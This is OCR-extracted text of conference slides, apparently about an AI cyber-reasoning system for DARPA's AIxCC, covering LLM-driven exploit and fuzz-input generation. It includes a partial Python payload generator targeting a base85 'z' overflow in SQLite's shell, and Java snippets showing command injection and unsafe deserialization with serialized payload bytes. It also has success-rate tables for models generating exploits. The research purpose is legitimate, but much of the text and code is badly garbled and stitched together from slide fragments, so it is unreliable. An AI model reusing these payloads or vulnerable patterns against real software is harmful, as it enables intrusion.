Finclude “sqlited.h” - pln 4= 4:
Finclude "shell.h" . *pOut++ = 'Z';
f1e1: - wel ReEfErred line number format ([#])
(16]: =+ fuzg -  Microsoft: RUSTASSISTANT: Using LLMs to .
[17]: */ - — - v = ({Cunsigned long)pIn[@])<<24) |
[18]: int LL\ Fix Compilation Errors in Rust Code (pIn[1]<<16) | (pIn[2]<<8) | pIn[3];
(19]: ¢ - Additional “:” to separate the code and line ~ [*tetic u8" fromBase8SC char *pin, int ncln, ub %pOut )i
[2¢1: char ncln-1]=="
[21]: int g number
[22]: char — - —
[23]: shellCmd[®] = "./sglite”; static signed char nboi[] = { @, @, 1, 2, 3, 4 };
[24]: shellCmd[1] = ":memory:"; + /* Enable use of the Adobe "z" extension, which
Eg shelllmd[2] = command; + ** compresses four zero bytes into a single z character.
. L
[27]1: she!l_mu'i.n(urgc. shellCmd); : ‘i-;:( spIn == 'z ) {
[28]: sglited_freelcommand); . pInes:
[29]: return @; !
[3e]: }
</HARNESS_CODE>
«/HARNES5_CODE _INFO=



https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering/use-xml-tags
https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering/use-xml-tags
https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering/use-xml-tags
https://www.microsoft.com/en-us/research/wp-content/uploads/2024/08/paper.pdf
https://www.microsoft.com/en-us/research/wp-content/uploads/2024/08/paper.pdf
https://www.microsoft.com/en-us/research/wp-content/uploads/2024/08/paper.pdf

Preprocess H Flan Generator H Create Generator ]—)[ Collect Coverage H

Update Interesting

Functions Analyze Coverage

TOR_CREATION_PROMPT =

g | ct LLM think two phases

{EXPLOIT_DATA_TAG} {EXPLOIT_GUIDE_TAG} ¢

## Implementation

**Phase 1: Reachi
= Generate valid
- Ensure 5QL synt
- Create boseBS i
= Vary command 54

**Phase 2: Exploi
Focus on 'z' ch
= Generate patter
- Create edge cos
= Mix "z" charact]
points

*SKey Mutation Po
- 30L command st
= Base85 payload
- Strategic ‘z' ¢
= Mixed validsin

**Format Preservag
- Maintain SQL sy

Approach

ng the Destination Function®®
5QL commands that invoke the base85() function

ax correctness to pass through shell parsing

<GENERATOR_CODE=
import random

def generate{rnd: random.Random) -> bytes:
"""Generate payload variations to reach and exploit the wulnerability.

Args:
rnd: Random number generator for consistent mutations
Returns:
bytes: Payload designed to reach destination ond exploit vulmerability

# Phase 1: Create SQL command to reach bose8S() function
sql_templates = [

"SELECT baseB85("{}');",

"SELECT hex(base85C"{}'3);:",

"SELECT length(baoseBS{"{}"3):",

“SELECT basedS('{}') AS result;”,

"SELECT * FROM (SELECT baseB85('{}"2);",
]

sql_template = rnd,choice(sql_templates)

# Phase 2: Craft base8S payload to exploit 'z° wulnerability
payload_strategies = [
# Strategy 1: Multiple consecutive 'z° choracters for saxisum overflow
lombda: "z' * rnd.randint(l, 203,




Preprocess ]—)[ Flan Generator H Create Generator

- Select top 3 interesting functions

<INTERESTING_FUNC LIST>
functionl,function2, function3
</INTERESTING FUNC LIST>

- Check the function is:

In the coverage info
Not already in the prompt

- Annotate w/ comments

Referred from Google DeepMind:
NEXT: Teaching Large Language

Models to Reason about Code

Execution

Collect Coverage

Update Interesting
Functions

Analyze Coverage

<INTERESTING_FUNC_LIST=

- Based on the coverage information, you'wve selected these functiens to obtain
their source code,
= Lines marked /* @VISITED */ were covered during execution. Use as reference

only - may contain inaccuracies. Focus on key conditions to explore more paths,
= We've added odditional lines before and after the actual function bodies for
better understonding.

<FUNCTION_TNFO=
<FILE_PATH>/src/repo/test/shell.c (lines S626-5682)</FILE_PATH=
<FUNC_NAME:fromBased5 </ FUNC_NAME -
<FUNC_BODY>

[5626]:
[5627]:
[5628]

*plut = @;
return plut;
]

[5629]:
: /* Decode base85 text into a byte buffer. */

[563@]

[5631]:
[5632]:

First, describe What we will give!

* ) --ncIn; S BVISITED */

[5633]:
[5634]:
[5635]:
[5636]:
[5637]:
[5638]:
[5639]:
[5648] :
rs6417:

f
if( *pln =

*plutss
Solut++

whilel ncIn=@ ){ /* @VISITED */
static signed char nboil] = { @, @, 1, 2, 3, 4 }; /* EVISITED */
/* Enable use of the Adobe "z" extension, which
** compresses four zero bytes inte a single z character.

static uB* fromBoseBS( char *plIn, int ncIn, uB *plut J{ /* BVISITED */
if{ neln=@ && pIn[ncIn-1])=="

pIn++; /A EVISITED */

z' ) { S BVISITED */

Gx@; S* SVISITED =/

Mark using @VISITED
Typically, this is not
used in comments

Px@: /% BVISITED #=/



https://arxiv.org/pdf/2404.14662
https://arxiv.org/pdf/2404.14662
https://arxiv.org/pdf/2404.14662

Preprocess H Plan Generator H Create Generator H Collect Coverage H Upd:i:t:nl:[::ﬁlng ]—D[Analyze Coverage

Now focus on the following tosk instructions for your current workflow step.
This defines exactly what you need to accomplish in this phase of the generat
development:

<current_workflow_steps

Current: step: AMALYZE + Crash Logs, Failure Logs

< current_workflow_steps

<task>
Analyze the coverage results from the generator's output, focusing on both
phases of the approach:

Phose 1 Analysis:

- Assess whether the generator successfully reaches the destination function
- Identify which paths were explored while navigating to the destinotion

- Evaluate the effectiveness of the navigation strategy

Phaose 2 Analysis:

- Determine how close the generator came to triggering the wulnerability
- Assess the effectiveness of the exploitaotion technigues

- Identify which vulnerability conditions were successfully targeted

Overall, evaluate:

- The balance between navigation and exploitation
- Format wvalidity and precessing success

- Areas for improvement in both phoses

Finally, provide detailed feedback for improvement.
</ tasks

### Phase 1 Anolysis: Mavigation to Destination Function

**SUCCESS**: The generator successfully reached the destination function
“fromBasefS” and the entry point “basef5” function.

**Path Navigotion Assessment®®:

- [ Successfully navigated through QL parsing and execution

- @ Reached the bose85() UDF function (lines covered: 5715-5773)

= @ Triggered the TEXT case branch (line 57447 which calls fromBase85()
- @ Successfully entered fromBose85() function (lines 5631-5677)

- @ Activated the vulnerable "z' handling code path (lines 5638-5645)

**Naovigation Strategy Effectiveness**:

= The SQL command structure worked perfectly

= Valid baseB5() function calls were generated successfully

- The TEXT input type was properly handled

- Multiple 'z' characters successfully triggered the vulnerable code path

### Phose 2 Analysis: Vulnerability Exploitation

*SPARTIAL SUCCESS**: The generator reached the vulnerable code but may not have
fully exploited the buffer overflow condition.

**Vulnerability Targeting Assessment**:
- [ Successfully triggered the 'z' shortecut code (lines 5638-5644)

Vg ¥

- 0 **CRITICAL ISSUE**: The wulnerability appears to be in buffer bounds
checking, but the current approach may not be creating the right conditions




Preprocess ]—)[ Plan Generator H Create Generator H Collect Coverage H

Update Interesting
Functions

I
]—)[Analyza Coverage

Now focus on the following tosk instructions for your current workflow step.

This defines exactly what you need to accomplish in this phase of the generat

development:

<current_workflow_steps

### Phase 1 Anolysis: Mavigation to Destination Function

**SUCCESS**: The generator successfully reached the destination function
“fromBaseBS” and the entry point “bose85" function.

Current. step: ANALYZE + Crash Logs, Failure Logs

**Path Navigotion Assessment®®:

< current_workflow_steps

<task>
Analyze the coverage results from the generator's output, focusing on both
phases of the approach:

Phase 1 Analysis:

- Assess whether the generator successfully reaches the destination function
- Identify which paths were explored while navigating to the destination

- Evaluate the effectiveness of the navigation strategy

Phaose 2 Analysis:

- Determine how close the generator came to triggering the wulnerability
- Assess the effectiveness of the exploitation techniques

= Identify which wulnerability conditions were successfully targeted

Overall, evaluate:

- The balance between navigation and exploitation
- Format validit
- Areas for imp

Finally, provide
</ task=

Self-Evolving Exploit Generation

- Successfully navigated through SQL parsing and execution

- Reached the base85() UDF function (lines covered: 5715-5773)

- @ Triggered the TEXT case branch (line 5744) which calls fromBase85()
- Successfully entered fromBase85() function (lines 5631-5677)

- Activated the vulnerable "z’ handling code path (lines 5638-5645)

*=Navigation Strategy Effectiveness**:

= The 5QL command structure worked perfectly

Vaolid baseBS() function calls were generated successfully

The TEXT input type was properly handled

Multiple 'z' characters successfully triggered the vulnerable code path

### Phose 2 Analysis: Vulnerability Exploitation

*SPARTIAL SUCCESS**: The generator reached the vulnerable code but may not have
fully exploited the buffer overflow condition.

r bounds
conditions

¥ LI L= Lk AL T O [* K"




Building Known Struct Information

- FuzzedDataProvider
- Good for fuzzers, bad for LLMs
- "data byte" and "choice bytes"
- Consumes primitive types from the back
- Consumes data types from the beginning
- Other customized behaviors (e.g., consumelnt(min, max))
- Java ByteBuffer
- Consumes integer in a big-endian way

- e.g.,, JenkinsTwo

- b'\r\x00\x00\x00\x01\x00\x00\x00x-evil-backdoor\x@0breakin the law\x00jazze'
- b'\x00\x00\x00\r\x00\x00\x00\x01x-evil-backdoor\x00breakin the law\x@0jazze'

- Custom structs
- e.g., ServletFileUpload (multipart-based file upload)



Building Known Struct Information

- | FuzzedDataProvider
- Good for fuzzers, bad for LLMs
- "data byte" and "choice bytes"
- Consumes primitive types from the back
- Consumes data types from the beginning
- Other customized behaviors (e.g., consumelnt(min, max))
- Java ByteBuffer
- Consumes integer in a big-endian way

- e.g.,, JenkinsTwo

- b'\r\x00\x00\x00\x01\x00\x00\x00x-evil-backdoor\x@0breakin the law\x00jazze'
- b'\x00\x00\x00\r\x00\x00\x00\x01x-evil-backdoor\x00breakin the law\x@0jazze'

- Custom structs
- e.g., ServletFileUpload (multipart-based file upload)




Initial guiding prompt (Old)

Directly giving instructions

were not successful

Potential causes?
- LLM'’s focus is to write an exploit
- Instructions for custom structures may

have distracted?




elnput (¥

elnt();

Write a wrapper library, Let LLM
import the library in its exploit

Consumer

ConsumeBytes(size_t num_bytes)
ConsuseDatalvoid sdestinatio

num_bytes)

ConsumeByteswWithTerninator(size_t
num_bytes, T terminator)

ConsumeRenainingBytes()
ConsumeBytesAsString(size_t num_bytes)

ConsumeRandoalengthString(size_t
max_length)

Producer

produce_bytes(value: bytes,

produce_bytes with_terminator({value: bytes,

nus_bytes: int, terminator: int)

produce_remaining bytes(value: bytes)

produce_bytes_as_string(value: str, num_bytes:

produce_random_length_string with_sax_length(va

str, max_length: int)

libFDP has ~65 producer functions

Fallew this guideling if you ofe handling these dato sbruttured;
«DATA_STRUCT_GUTDE FOR_EXPLOITS

libFDP-based guiding
oot prompt (New)

FurmedioteProvider i3 o utility thot troniforms rom furser ingut bytes imto useful primitive typei for Furzing
In Python, the libfde librory ollows you to create torgeted test inputs by encoding poylosds that mimic Fuzzedaotor
«/deioriptions

otore_principles
=primciplesAnalyze torget code to identify all FuzzedDotaFrovider method colls ond their exoct orderofprinciples

sprimgiplexCrecte a 1ibfde, Jarserfdpiincoder(d object to build your poyloadaiprinciples
primciplesAdd volues in the EXACT SAME ORDER they ore cordused in bhe borget Code</principles
cpriciplexfoll finalize(} to get the Fingl encoded poylosd</principle

wfcore_printlpless

i el maped g
conuumalnt{int win, int mex) « prodece_jint_in_ronge{torget: int, min: int, s imt)
conjumslntl) + produce_jimt{targst: it
consumebemeiningdsitring(} = produce_ressining_os_jstringltorget; strl
consumslongl long mim, long sax) + produce_jlong in_renge(torget: ink, sim: ink, sax: int)
contemelongl) « prodece_jlonglterget: int)

e IS SOpg i

opnomplar
atorget code |onguoge="jowa"r
pubblic static void FurberToutlng Iy
Integer choice = dato. corsumel
wwiteh (ehaice) |
coze 4:
AF our target
SeorchQueryltils. getFields(dato. consumeRemainingdsSering());
Break;

Selectively add methods based on
the current source code context

}

wfnarget codes

LLM will generate script using libfdp

def crecte_peyload(d;
# Target volue we want to test

torget_velue = &
internal_paylosd_str = “Fleldlvaoluel Field2:value?”

" P Cofdused

# Create encoder ond odd values in the seme order as &

jozzer_eroder = Libfdp. Jozrerfdplncoder()
jarper_eesoder prodete_jint_in_rongeltarget value, 1, 6)
jorzer_erscoder.prodece_resgining_os_jseringinternal _poylood_str)

# Finalize to get the encoded poylocd
final_payload = jareer_sncoder . Finalizel)
retwrn Final _poyloosd
wfprython_pdy o
wienomplen
</ FurpedDataPioy] din>
L DATA STRUCT  ITDE_FOR_EXPLOET=
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Find: ObjectInputStream.readObject() with external data, including custom streams a
java

byte[] data = getUntrustedData();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));

Object obj = ois.readObject(); // BUG: deserializes malicious objects

Building Domain Knowledge

0SCommandInjection:
// Custom ObjectInputStream
class CustomOIS extends ObjectInputStream {
protected Object readObjectOverride() throws IOException {
return super.readObject(); // BUG: still vulnerable

description: |-

0S commands executed with user-controlled input.

Find: Runtime.exec() or ProcessBuilder using user input, including comma
"*Tjava
String filename = request.getParameter("file");

Runtime.getRuntime().exec("cat + filename); // BUG: command injection
// Wrapped stream

. InputStream wrapped = wrapStream(untrustedData)
// Command array .
: = U o = new ObjectInputStream(wrapped).readObject(); // BUG: wrapped but unsafe
String(] cmd = {"/bin/sh", "-c", "ls " + filename}; // BUG: shell injec N
new ProcessBuilder(cmd).start();

exploit: |-

// Direct command 1. Locate ObjectInputStream with external data
String command = request.getParameter("cmd"); 2. Provide serialized ijaz.Zer class
Runtime.getRuntime().exec(command); // BUG: direct command execution

java
byte[] payload = {(byte)@xac, (byte)oxed, ©x00, @xe5, ex73, 0x72,
exploit: |- 0x00,: 8x07, 3" i tat s Lt eyttt ek
1. Locate command execution with user input 0x00, Ox00, Ox00, Bx00, Ox00, ©Ox00, Ox00, Ox2a,
2. Execute exact target command “jazze" ox02, 0x00, 0x00, Ox78, 0x78};
NhisctInnutStraam aic = new NhiactinnutStraamineaw RutelArravinnutStraaminavioad));

""java
Runtime.getRuntime().exec("jaz:

// OR with ProcessBuilder
new ProcessBuilder("jazze").std



Vulnerability Type

XPath Injection

0S Command Injection

Server Side Request Forgery

Regex Injection

Remote JNDI Lookup

Reflective Call

SQL Injection

Script Engine Injection

LDAP Injection

Remote Code Execution

File Path Traversal

Claude-4

10/10

10/10

8/10

10/10

10/10

10/10

10/10

10/10

4/10

10/10

3/10

Claude-3.7

5/10

10/10

6/10

10/10

10/10

10/10

3/10

10/10

10/10

10/10

8/10

Gemini-2.5-Pro

10/10

10/10

10/10

10/10

1/10

9/10

10/10

04-M

10/10

10/10

10/10

8/10

8/10

5/10

9/10

Different models have different characteristics?

Even within the same model family?

6/10

10/10

8/10

6/10

9/10

9/10

Newer model can have an insufficient training dataset?




Vulnerability Type Claude-4 Claude-3.7 Gemini-2.5-Pro 04-M

XPath Injection 10/10 5/10 10/10 10/10
0S Command Injection 10/10 10/10 10/10 10/10
Server Side Request Forgery 80 L 10710 10710 Different models have different characteristics?
Regex Injection 10/10 10/10 10/10 8/10
Remote JNDI Lookup 10/10 10/10 1/10 8/10 i i
It is possible that each model
may require different prompts
Reflective Call 10/10 10/10 9/10 5/10 to achieve the best I'ESU":
SQL Injection 10/10 3/10 10/10 9/10
Even within the same model family?
Script Engine Injection 10/10 10/10
LDAP Injection 4/10 10/10 6/10 6/10
Remote Code Execution 10/10 10/10 10/10 9/10

Newer model can have an insufficient training dataset?
File Path Traversal 3/10 8/10 8/10 9/10 ‘




Vulnerability Type

XPath Injection

0S Command Injection

Server Side Request Forgery

Regex Injection

Remote JNDI Lookup

Reflective Call

SQL Injection

Script Engine Injection

LDAP Injection

Remote Code Execution

File Path Traversal

Claude-4 Claude-3.7 Gemini-2.5-Pro 04-M

10/10 5/10 10/10 10/10

10/10 10/10 10/10 10/10

8/10 6/10 10/10 10/10

For exploit generation, Claude Sonnet 4 was efficient
Model Success Rate Total Requests Tokens Cost Time (s)

Claude-4 86.4% (95/110) 168 1.34M $3.99 468
Claude-3.7 83.6% (92/110) 170 1.43M $4.36 491
Gemini-2.5-Pro  85.5% (94/110) 158 2.53M $14.23 2232
04-Mini 85.5% (94/110) 180 2.31M $4.68 1,228

Efficiency Score*

Y% High

Y% High

* Low

*% Medium




» Generator found a 0-day in Wireshark
« Mutator found a 0-day in Dicoogle



Findings
 Context engineering is a critical component of agentic systems
- Can we build LLM-friendly instructions?

- Can we decide what do include and what to exclude?
- How to effectively bring up relevant context (e.g., agent memory, ...)

 Think of integration layers not to distract LLM’s contextual reasoning.

« Self-evolving exploit willbe is the standards of vulnerability research
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 Think of integration layers not to distract LLM’s contextual reasoning.

« Self-evolving exploit willbe is the standards of vulnerability research



LLM Failsafe Logic

- Rate Limit
- Step 1: Use exponential backoff upto 60 s, and retry 5 times

- Step 2: Switch to another model

- claude-sonnet-4 — claude-opus-4 =) Dongkwan Kim jun 9th at 9:54 PM

+ Gaudeopus — daude somet e e
- Step 3: If it fails multiple times, use 03 1028) ’ ’ S '
- Context Limit e Timeout: LiteLLM's API timeout (5-second connection error).
- Step 1: Switch to a large context model Ratelimit - Attempt 1: 1792 times
en Gemini-2.5-pro (1M context window) D i ver otE BN
. . . RateLimt - Attempt 3: 163 times
- Step 2: If it fails, switch to a secondary model RateLimit - Attempt 4 64 times
& gpt-4.1 (‘] M context Window) Ratelimit - Attempt 5: 29 times
LJ I t)l RateLimit - Attempt 6: 15 times
- nresolva e errors RateLimit - Attempt 7: 6 times
_ E d B d .t t RateLimit - Attempt 8: 6 times
‘g" exce? S bu ge ! qUO aerror RatelLimit - Attempt 9: 3 times
- 2> Immedlately exit RateLimit - Attempt 10: 3 times

Timeout - Attempt 1: 1798 times
Timeout - Attempt 2: 342 times
Timeout - Attempt 3: 108 times
Timeout - Attempt 4: 39 times
Timeout - Attempt 5: 12 times
Timeout - Attempt 6: 6 times
Timeout - Attempt 7: 2 times



Logging, Observability, and

Reproducibility Do Matter

Improve observability with tracing logs for debugging and opt
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E2E Evaluation Framework

CRS-muiltilang Experiment Reports
Expariment Loge

==
) BT SRR T

LLMA Ui 5

=3 [+ - | Compt
o] ‘ o i
= 0= Frompt Toksn

Fomgea e Traam
P = al
Coverage over time | I i
" ! e ek e er, BALE, B4LE, s, i SRS Mt aoh T, ) La, g, T




Agenda
1 —ntroductionto-AlXCC

3. Discussion: Future of Cybersecurity
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Buttercup is Now Open Source

@ Buttercup (55
Powered by Trail of Bits

A|_Powered Appll Cati Stay up to date with Buttercup
Xint

Your on-demand Al hacker—faster, sm
and without the pentest price tag.

Explore More 7

25 L Open
VULNERZASB\LlTlEs SUCCESSFUL 219 Soﬂrce
FOUND PATCHES TOTAL SCORE
DEPLOYED NOW AVAILABLE




XBOW

HackerOne Leaderboard

Al beaderboards are based on the sebected time period.

EBP o Al

Highest Reputation
Rankireg it caliulatod hated onneputation damed,

& 5. O thaivu

Wi ol rarkings -+ View all-time leaderboand »

Reputation

2403

2096

99T

Signal ()

T.00

6.81

6,64

Impact (0

4035

20.64

17.50

Bloomberg
Select date range Markets Econc: S
Jul-Sep 2025 The Al Race: Microsoft’s Balancing Act  Windsur! | Musi's Al Ambitions  Appio’s Strugglos 4
Technology | Al
One of the Best Hackers in the
Up and Comers. .
Batedionruputation gain fomhackers et Country is an Al Bot

Erit valid ropart within the Bat B0 days.

Xbow, the startup behind a highly ranked hacking security tool, has raised $75
million

- 1 . sleyber
- Z, @ cudreal

-3 2 wook

Wiew all rankings +



2% wilgibbs.com/blog/defcon-finals-mep/ ¥

$ cat

CTF Benchmarks All You Need Is MCP - LLMs Solving a DEF CON CTF

Finals Challenge

InterCode-CTF (NeurlPS’23) + extension

- 33 General, 27 Reversing, 19 Crypto, 15 Forensic, 4 Pwnable, 2 Web = 100 challs
- PicoCTF

NYU CTF Bench (NeurlPS’'24)
- 200 CTF challenges (2017 — 2023 CSAW CTF)
CyBench (ICLR’25 Oral)

- 40 CTF challenges (HackTheBox, Sekai CTF, Glacier, HKCert)
- Most papers are using CyBench (including Anthropic and Google)

BountyBench (preprint)
- 25 diverse systems and 40 bug bounties ($10 — $30,485)

CTF Players are now actively adopting Al




Standardizing and

InterCode

John Yang Akshara Prabhakar Karthik Narasimhan Shunyu Yao

ive Coding with Execution Feedback

-
king Ir

[ @ Paper

) (

Q) Code }[ & Download ][ & PyPI ]

Leaderboard

nterCode (v1.0.2) released, new IC-SWE!
emur sets new highs on IC-[Bash, CTF, SQL]!
InterCode accepted to 2023 NeurlPS Datasets &

track!

InterCode (v1.0.1) released, new

nterCode now available on PyPI
InterCode (v1.0.0) available on

InterCode?

s a benchmark for evaluating lar
coding task. Given a natural lan
ed to interact with a software s
ith code to resalve the issue.

urrently features 5 different co
IC-Python, IC-SQL, IC-SWE.
ir |l

Cybench

The Success Rate metric refers to the percentage of tasks that were resolved

(received a score of 1.0).

© - Denotes zero shot evaluation (no interaction)

A benchmark for evaluating the cybersecurity capd
and risks of language models.

Cybench includes 40 professional-level Capture the Flag (CTF) tasks from 4 distinct|

competitions, chosen to be recent, meaningful, and spanning a wide range of difficul

We add subtasks, which break down a task into intermediary steps for more gradate|
evaluation, to these tasks

There's an all-new, real-world BountyBench that evaluates offensive and defensive cyberseci
on vulnerability detection, expleitation, and patching with dollar impact. Check it out here.

Leaderboard
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ANTHROP\C Claude APl Solutions Reseorch Commitments Leorn News

Progress from our Frontier Red Team

Mor 19,2028 « 7 min read

Google DeepMind v Models Research Science About (% Build with Gemini

RESPONSIBILITY & SAFETY

Introducing CodeMender: an Al agent
for code security

6 OCTOBER 2025

Raluca Ada Popa and Four Flynn

4

Engineering at Meta

Open Source -~ Platforms -~ Infrastructure Systems - Physical Infrastructure - Video Engines

POSTED ON APRIL 29, 2025 TO Al RESEARCH

Introducing AutoPatchBench: A
Benchmark for Al-Powered Security Fix

BamAmLa o ma s
While Al capabilities are advancing quickly in many areas, it's
important to note that real-world risks depend on multiple factors
beyond Al itself. Physical constraints, specialized equipment,
human expertise, and practical implementation challenges all
remain significant barriers, even as Al improves at tasks that require
intelligence and knowledge. With this context in mind, here's what
we've learned about Al capability advancement across key domains.

picoCTF: High School Hacking Competition's post

i % picoCTF: High School Hacking Competition is at Carnegie-Mellon University.
"% July 15 at 5:22 PM - Pittsburgh, PA - @

Big news! Anthropic has donated $1M to picoCTF to power up cybersecurity and Al secu
education!

With this support, we're building new challenges, hosting Al-focused competitions, and cre:
opportunities for students to learn from the best in the field.

We're so grateful to Anthropic for investing in the future of cybersecurity talent. @)
You can find the link to their blog post in our bio.
#picoCTF #Alsecurity #CybersecurityEducation #5TEM

Evaluating Al’s capabilities in cybersecurity is now a hot topic




Forbes Subscribe: Less than $1.50/wk

INNOVATION

The Paradox Of Al Being Cybersecurity’s Greatest
Asset And Its Most Dangerous Threat

@ By Abhijeet Mukkawar, Forbes Councils Member.
for Forbes Technology Council, COUNCIL POST | Membership (fee-based)

Published Oct 13, 2025, 08:45am EDT

‘ SO £ Topics  Spotlight: Security Latest Newsletters Resources Buyer's Guides Events @ G\ @
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Autonomous Al hacking and the future of cybersecurity

Attackers can run their own VulnOps




FINAL ROUND DATA POI

Total Known Vulnerabilities

70

Vulnerabilities discovered

54 (77%)

Vulnerabilities patched

43 (61%)

Real World Vulns discoverec

18

Average time to patch

I45nMn

Total LOC analyzed

24M

~$152

Total LLM queries

1.9M

LLM Spend

$82k




DARPR) + ARPAQ

The world changes today.

Automated patch developmentis:

Fast
Scalable
Cost-effective
Available / Open-source

EEEEEEEEEEEEEEEE

https://team-atlanta.github.io/



https://team-atlanta.github.io/
https://team-atlanta.github.io/
https://team-atlanta.github.io/
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Thank You!
Questions?

htts:Oxdka .me



https://0xdkay.me/
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